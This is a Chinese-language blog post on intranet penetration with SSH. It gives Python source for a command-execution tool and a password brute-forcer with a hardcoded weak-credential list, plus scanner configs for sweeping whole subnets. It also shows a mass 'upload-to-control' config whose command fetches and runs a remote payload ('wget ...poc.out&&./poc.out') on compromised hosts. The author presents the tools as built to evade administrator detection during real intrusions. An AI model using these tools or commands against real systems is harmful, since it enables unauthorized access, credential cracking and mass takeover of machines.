• [原创]内网渗透SSH工具sshcmd/sshshell/sshcrack/批量上控/Kali开启SSH


    0x000 目录

    1.Kali开启SSH

    2.SSH连接工具优缺点

    3.渗透专用SSH连接工具

    4.ssh执行cmd源码

    5.批量SSH密码破解

    6.SSH批量上控

    7.相关工具下载

    0x001 SSH配置

    1.打开文件 etc/ssh/sshd_config
    
    2.添加permitrootlogin  yes
    
    3.将#PasswordAuthentication yes的注释去掉
    

     0x002 重启ssh服务

    /etc/init.d/ssh restart
    
    /etc/init.d/ssh stop (为了安全测试完ssh工具后可将其关闭)
    

    0x003 SSH连接

    1.sshshell交互式连接

    sshshell.exe 192.168.1.106 22 root toor

    sshshell.exe 单文件交互式SSH连接工具(优点类似putty可保持会话,缺点也类似putty保持连接)

    以前我没写有人说你要是加上保持会话功能比较好,说话的语气像是这个很难你没能力实现一样

    搞渗透为了隐蔽才没让其保持连接,不是没能力,你要是正常连接网上工具很多功能还强大的很

    不过对我来说很多功能用不到,而且很多工具又大又需要安装过于麻烦,所以我顺手写了这工具

    使用putty或网上其它SSH管理工具连接目标机,管理员均可看到攻击者一直在连接

    有些人连接SSH去操作没多久,IP被BAN还不知道什么原因

    安服的或许无所谓,毕竟都是授权的,直接扛电脑去接入内网搞

    真正从事渗透的,你不专业的操作没被发现,只能说管理员很蠢

    2.sshcmd 非交互式SSH连接

    渗透专版SSH连接工具GUI版,命令行版为sshcmd.exe非交互

    优点都是执行完命令立即注销会话(即目标机看不到网络连接)

    sshcmd命令行非交互式,python版编译的很大9M(大家可自行编译不同PY或依赖版本可能会更小,以前我编译的才6M)

    也可用该工具验证密码是否正确,比sshtest要好,毕竟直接可看到是否可执行CMD命令

    3.sshtest密码验证

    sshtest.exe 192.168.1.106 22 root toor
    

    4.K8Cscan批量验证SSH密码

    此功能可使用Ladon SshScan模块代替,更简单易用

    0.将Cscan.exe Cscan.ini sshcrack.exe放置同一目录

    Cscan.ini内容如下

    1.爆破弱口令(当前无密码或已获取多个帐密)

    [Cscan]
    exe=sshcrack.exe
    arg=$ip$ 22 "" "" -crack
    

    2.验证一个已知密码(快速检测内网其它机器是否使用同一帐密)

    [Cscan]
    exe=sshcrack.exe
    arg=$ip$ 22 root k8gege -test
    

     3.Cscan扫描单个C段/B段/A段机器

    cscan 192.168.1.108 (单个IP)
    cscan 192.168.1.108/24 (C段)
    cscan 192.168.1.108/16 (B段)
    cscan 192.168.1.108/8  (A段)
    

    4.Cscan批量IP/批量C段/批量B段扫描

    新建 ip24.txt或ip16.tx或ip.txt 文件,然后输入Cscan即可(无需其它参数)

    以下Cscan.ini不指定端口,因通过K8portscan识别出来非22端口

    不指定端口意味着ip.txt里需要填写上对应SSH端口

    需将图中的sshtest.exe改成sshcrack.exe

    0x004 sshcmd源码

    import paramiko
    import sys
    print("sshcmd 1.0")
    print("by k8gege")
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])
    stdin, stdout, stderr = ssh.exec_command(sys.argv[5])
    print stdout.read()
    ssh.close()
    

    0x005 sshcrack源码

    [原创]内网SSH密码爆破工具sshcrack(配合Cscan批量弱口令检测)

    https://www.cnblogs.com/k8gege/p/10995625.html

    #sshcrack 1.0
    #author: k8gege
    #https://www.cnblogs.com/k8gege
    #https://github.com/k8gege
    import paramiko
    import sys
    import logging
    
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    logging.raiseExceptions=False
    def checkSSH(host,port,user,pwd):
    	try:
    		ssh.connect(host,port,user,pwd)
    		print host+' '+port+' '+user+' '+pwd+' LoginOK'
    	except:
    		pass
    host=sys.argv[1]
    port=sys.argv[2]
    user=sys.argv[3]
    pwd=sys.argv[4]
    type=sys.argv[5]
    if type=='-test':
    	checkSSH(host,port,user,pwd)
    elif type=='-crack':
    	checkSSH(host,port,'root','123456')
    	checkSSH(host,port,'root','cisco')
    	checkSSH(host,port,'root','Cisco')
    	checkSSH(host,port,'admin','123456')
    	checkSSH(host,port,'cisco','123456')
    	checkSSH(host,port,'cisco','cisco')
    	checkSSH(host,port,'Cisco','Cisco')
    	checkSSH(host,port,'cisco','cisco123')
    	checkSSH(host,port,'admin','admin')
    	checkSSH(host,port,'root','Admin')
    	checkSSH(host,port,'root','toor')
    	checkSSH(host,port,'root','Admin123')
    	checkSSH(host,port,'root','system')
    	checkSSH(host,port,'root','system123')
    	checkSSH(host,port,'root','System')
    	checkSSH(host,port,'root','System123')
    	checkSSH(host,port,'root','Admin123!@#')
    	checkSSH(host,port,'root','root123!@#')
    	checkSSH(host,port,'root','root2019')
    	checkSSH(host,port,'root','root2018')
    	checkSSH(host,port,'root','root2017')
    	checkSSH(host,port,'root','root2016')
    	checkSSH(host,port,'root','root2015')
    	checkSSH(host,port,'root','root2014')
    	checkSSH(host,port,'root','root2013')
    	checkSSH(host,port,'root','root2012')
    else:
    	checkSSH(host,port,user,pwd)
    

    0x006 Linux批量上控

    通过调用sshcmd.exe可实现批量验证SSH密码或者批量上控

    详见: [教程]K8Cscan调用外部程序例子(Win/Linux批量上控)

    ip.txt内容  格式: IP 端口 用户 帐密

    192.168.1.8 22 root k8123456
    192.168.1.100 444 root admin123
    10.1.11.5 22 root p@walod
    172.3.4.6 22 root test
    

    Cscan.ini内容

    [Cscan]
    exe=sshcmd.exe
    arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"
    

    0x007 工具下载

    https://github.com/k8gege/sshshell

    https://github.com/k8gege/K8tools

    https://github.com/k8gege/K8CScan

  • 相关阅读:
    TortoiseGit 连接oschina不用每次输入用户名和密码的方法
    IIS7 配置SSL 绑定主机头
    二种方法安装卸载Windows服务的命令
    System.Data.SqlClient.SqlException: 从 datetime2 数据类型到 datetime 数据类型的转换产生一个超出范围的值
    SQL Server 2008 角色
    sql2008“备份集中的数据库备份与现有的xx数据库不同”解决方法
    winform窗体间传值
    C#用到的一些代码汇总,后期再整理
    排球计分程序中英文切换
    ASP.NET MVC 排球计分程序 (八)排球计分程序的演示
  • 原文地址:https://www.cnblogs.com/k8gege/p/10991264.html
Copyright © 2020-2023  润新知